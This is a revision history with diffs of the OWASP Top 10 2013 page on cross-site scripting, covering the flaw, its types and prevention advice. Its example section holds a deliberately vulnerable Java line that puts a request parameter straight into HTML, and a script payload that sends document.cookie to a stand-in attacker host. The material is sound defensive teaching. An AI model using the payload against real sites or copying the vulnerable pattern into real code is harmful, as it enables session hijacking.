Top 10 2013-A3-Cross-Site Scripting (XSS) - Revision history

Wichers: Edit links.

2017-03-19T18:30:03Z

Edit links.

Wichers at 16:17, 5 July 2016

2016-07-05T16:17:01Z

Wichers at 21:39, 3 February 2014

2014-02-03T21:39:49Z

T.Gigler: deleted doubled "Attackers can execute ... using malware, etc."; added '|year=2013 |language=en' at Top/BottomTemplates

2013-06-14T20:52:43Z

deleted doubled "Attackers can execute ... using malware, etc."; added '|year=2013 |language=en' at Top/BottomTemplates

Neil Smithline at 19:41, 14 June 2013

2013-06-14T19:41:35Z

Neil Smithline at 01:20, 14 June 2013

2013-06-14T01:20:58Z

Neil Smithline at 01:18, 14 June 2013

2013-06-14T01:18:21Z

Neil Smithline at 01:11, 14 June 2013

2013-06-14T01:11:36Z

T.Gigler: brighter background for 'Top_10_2010:ExampleBeginTemplate' => added '|year=2013'; replaced 'External' by '{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}'

2013-06-09T14:23:10Z

brighter background for 'Top_10_2010:ExampleBeginTemplate' => added '|year=2013'; replaced 'External' by '{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}'

T.Gigler: added 'Top_10:SummaryTableTemplate' to get this section easier and to get better prepared for internationalisation. + added '|language=en' to get better prepared for internationalisation.

2013-06-09T11:26:16Z

added 'Top_10:SummaryTableTemplate' to get this section easier and to get better prepared for internationalisation. + added '|language=en' to get better prepared for internationalisation.

@@ Line 48: / Line 48: @@
 {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2013|language=en}}
 Preventing XSS requires separation of untrusted data from active browser content.
-# The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. See the [https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet  OWASP XSS Prevention Cheat Sheet] for details on the required data escaping techniques.
+# The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. See the [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | OWASP XSS Prevention Cheat Sheet]] for details on the required data escaping techniques.
 # Positive or “whitelist” server-side input validation is also recommended as it helps protect against XSS, but is <u>not a complete defense</u> as many applications require special characters in their input. Such validation should, as much as possible, validate the length, characters, format, and business rules on that data before accepting the input.
-# For rich content, consider auto-sanitization libraries like OWASP’s [https://www.owasp.org/index.php/AntiSamy  AntiSamy] or the [https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project  Java HTML Sanitizer Project].
+# For rich content, consider auto-sanitization libraries like OWASP’s [[AntiSamy]] or the [[OWASP_Java_HTML_Sanitizer_Project | Java HTML Sanitizer Project]].
-# Consider [https://www.owasp.org/index.php/Content_Security_Policy  Content Security Policy (CSP)] to defend against XSS across your entire site.
+# Consider [[Content Security Policy]] (CSP) to defend against XSS across your entire site.
 {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2013|language=en}}
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 Note that attackers can also use XSS to defeat any  automated CSRF defense the application might employ. See A8 for info on CSRF.
 {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2013|language=en}}
@@ Line 82: / Line 81: @@
 * [[DOM_based_XSS_Prevention_Cheat_Sheet | OWASP DOM based XSS Prevention Cheat Sheet]]
 * [[Cross-site_Scripting_(XSS) | OWASP Cross-Site Scripting Article]]
-* [http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html ESAPI Encoder API]
+* [https://static.javadoc.io/org.owasp.esapi/esapi/2.1.0.1/org/owasp/esapi/Encoder.html ESAPI Encoder API]
 * [[ASVS | ASVS: Output Encoding/Escaping Requirements (V6)]]
 * [[AntiSamy | OWASP AntiSamy: Sanitization Library]]

@@ Line 40: / Line 40: @@
 {{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2013|language=en}}
-You are vulnerable if you do not ensure that all user supplied input is properly escaped, or you do not verify it to be safe via input validation, before including that input in the output page. Without proper output escaping or validation, such input will be treated as active content in the browser. If Ajax is being used to dynamically update the page, are you using [https://www.owasp.org/images/c/c5/Unraveling_some_Mysteries_around_DOM-based_XSS.pdf  safe JavaScript APIs]? For unsafe JavaScript APIs, encoding or validation must also be used.
+You are vulnerable if you do not ensure that all user supplied input is properly escaped, or you do not verify it to be safe via server-side input validation, before including that input in the output page. Without proper output escaping or validation, such input will be treated as active content in the browser. If Ajax is being used to dynamically update the page, are you using [https://www.owasp.org/images/c/c5/Unraveling_some_Mysteries_around_DOM-based_XSS.pdf  safe JavaScript APIs]? For unsafe JavaScript APIs, encoding or validation must also be used.
 Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, making automated detection difficult. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.
@@ Line 49: / Line 49: @@
 Preventing XSS requires separation of untrusted data from active browser content.
 # The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. See the [https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet  OWASP XSS Prevention Cheat Sheet] for details on the required data escaping techniques.
-# Positive or “whitelist” input validation is also recommended as it helps protect against XSS, but is <u>not a complete defense</u> as many applications require special characters in their input. Such validation should, as much as possible, validate the length, characters, format, and business rules on that data before accepting the input.
+# Positive or “whitelist” server-side input validation is also recommended as it helps protect against XSS, but is <u>not a complete defense</u> as many applications require special characters in their input. Such validation should, as much as possible, validate the length, characters, format, and business rules on that data before accepting the input.
 # For rich content, consider auto-sanitization libraries like OWASP’s [https://www.owasp.org/index.php/AntiSamy  AntiSamy] or the [https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project  Java HTML Sanitizer Project].
 # Consider [https://www.owasp.org/index.php/Content_Security_Policy  Content Security Policy (CSP)] to defend against XSS across your entire site.

@@ Line 25: / Line 25: @@
       <td colspan=2  {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
-[https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)  XSS] is the most prevalent web application security flaw. XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content. There are three known types of XSS flaws: 1) [https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)  Stored], 2) [https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)  Reflected], and 3) [https://www.owasp.org/index.php/DOM_Based_XSS DOM based XSS].
+[[Cross-site_Scripting_(XSS) | XSS]] is the most prevalent web application security flaw. XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content. There are two different types of XSS flaws: 1) [[Cross-site_Scripting_(XSS) | Stored]] and 2) [[Cross-site_Scripting_(XSS) | Reflected]], and each of these can occur on the a) [[Types_of_Cross-Site_Scripting#Server_XSS | Server ]] or b) on the [[Types_of_Cross-Site_Scripting#Client_XSS | Client]].
-Detection of most XSS flaws is fairly easy via testing or code analysis.
+Detection of most [[Types_of_Cross-Site_Scripting#Server_XSS | Server XSS]] flaws is fairly easy via testing or code analysis. [[Types_of_Cross-Site_Scripting#Client_XSS | Client XSS]] is very difficult to identify.
 </td>
       <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
@@ Line 77: / Line 77: @@
 {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2013|language=en}}
 {{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}
 * [[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet
 ]]

@@ Line 1: / Line 1: @@
 {{Top_10_2013:TopTemplate
      |usenext=2013NextLink
-     |next={{Top_10_2010:ByTheNumbers
+     |next=A4-{{Top_10_2010:ByTheNumbers
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                |year=2013
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 }}
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       <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
 Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.
 </td>
       <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
 Attacker sends text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.
 </td>
       <td colspan=2  {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
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      |type={{Top_10_2010:StyleTemplate}}
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       <td colspan=2  {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
-[https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)  XSS] is the most prevalent web application security flaw. XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content. There are three known types of XSS flaws: 1) [https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)  Stored], 2) [https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)  Reflected], and 3) DOM based XSS.
+[https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)  XSS] is the most prevalent web application security flaw. XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content. There are three known types of XSS flaws: 1) [https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)  Stored], 2) [https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)  Reflected], and 3) [https://www.owasp.org/index.php/DOM_Based_XSS DOM based XSS].
 Detection of most XSS flaws is fairly easy via testing or code analysis.
@@ Line 49: / Line 49: @@
 Preventing XSS requires separation of untrusted data from active browser content.
 # The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. See the [https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet  OWASP XSS Prevention Cheat Sheet] for details on the required data escaping techniques.
-# Positive or “whitelist” input validation is also recommended as it helps protect against XSS, but is not a complete defense as many applications require special characters in their input. Such validation should, as much as possible, validate the length, characters, format, and business rules on that data before accepting the input.
+# Positive or “whitelist” input validation is also recommended as it helps protect against XSS, but is <u>not a complete defense</u> as many applications require special characters in their input. Such validation should, as much as possible, validate the length, characters, format, and business rules on that data before accepting the input.
 # For rich content, consider auto-sanitization libraries like OWASP’s [https://www.owasp.org/index.php/AntiSamy  AntiSamy] or the [https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project  Java HTML Sanitizer Project].
 # Consider [https://www.owasp.org/index.php/Content_Security_Policy  Content Security Policy (CSP)] to defend against XSS across your entire site.

@@ Line 56: / Line 56: @@
 {{Top_10_2010:ExampleBeginTemplate|year=2013}}<span style="color:red;">
-(String) page += "<input name='creditcard' type='TEXT'  value='" + request.getParameter("CC") + "'>";
+(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
 </span>{{Top_10_2010:ExampleEndTemplate}}
@@ Line 62: / Line 63: @@
 {{Top_10_2010:ExampleBeginTemplate|year=2013}}<span style="color:red;">
-'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'
+<span style="color:red;">'><script>document.location=
 </span>{{Top_10_2010:ExampleEndTemplate}}
 This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
 Note that attackers can also use XSS to defeat any  automated CSRF defense the application might employ. See A8 for info on CSRF.
-Detection of most XSS flaws is fairly easy via testing or code analysis.
 {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2013|language=en}}

@@ Line 47: / Line 47: @@
 The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:
-{{Top_10_2010:ExampleBeginTemplate}}<span style="color:red;">
+{{Top_10_2010:ExampleBeginTemplate|year=2013}}<span style="color:red;">
 (String) page += "<input name='creditcard' type='TEXT'  value='" + request.getParameter("CC") + "'>";
 </span>{{Top_10_2010:ExampleEndTemplate}}
@@ Line 53: / Line 53: @@
 The attacker modifies the 'CC' parameter in their browser to:
-{{Top_10_2010:ExampleBeginTemplate}}<span style="color:red;">
+{{Top_10_2010:ExampleBeginTemplate|year=2013}}<span style="color:red;">
 '><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'
 </span>{{Top_10_2010:ExampleEndTemplate}}
@@ Line 74: / Line 74: @@
 * [[XSS_Filter_Evasion_Cheat_Sheet | OWASP XSS Filter Evasion Cheat Sheet]]
-External
+{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}
 * [http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]

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      |useprev=2013PrevLink
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 }}
-{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2013}}
+{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2013|language=en}}
-{{Top_10_2010:SummaryTableValue-2-Template|Exploitability|AVERAGE|year=2013}}
+{{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=1|impact=2|year=2013|language=en}}
 {{Top_10_2010:SummaryTableHeaderEndTemplate|year=2013}}
       <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.
@@ Line 31: / Line 30: @@
 {{Top_10_2010:SummaryTableEndTemplate}}
-{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2013}}
+{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2013|language=en}}
 You need to ensure that all user supplied input sent back to the browser is properly escaped before it is included in the output page, or it is verified to be safe via input validation. Proper output encoding ensures that such input is always treated as text in the browser, rather than active content. If AJAX is being used to dynamically update the page, you should try to use safe [https://www.owasp.org/images/c/c5/Unraveling_some_Mysteries_around_DOM-based_XSS.pdf safe JavaScript APIs]. For unsafe JavaScript APIs, encoding or validation must be used.
@@ Line 37: / Line 36: @@
 Web 2.0 technologies, such as AJAX, make XSS much more difficult to detect via automated tools.
-{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2013}}
+{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2013|language=en}}
 How Do I Prevent XSS?
 Preventing XSS requires keeping untrusted data separate from active browser content.
@@ Line 45: / Line 44: @@
 # Consider [[Content Security Policy]] (CSP) to defend against XSS across your entire site.
-{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2013}}
+{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2013|language=en}}
 The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:
@@ Line 62: / Line 61: @@
 Detection of most XSS flaws is fairly easy via testing or code analysis.
-{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2013}}
+{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2013|language=en}}
 {{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}
 * [[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet
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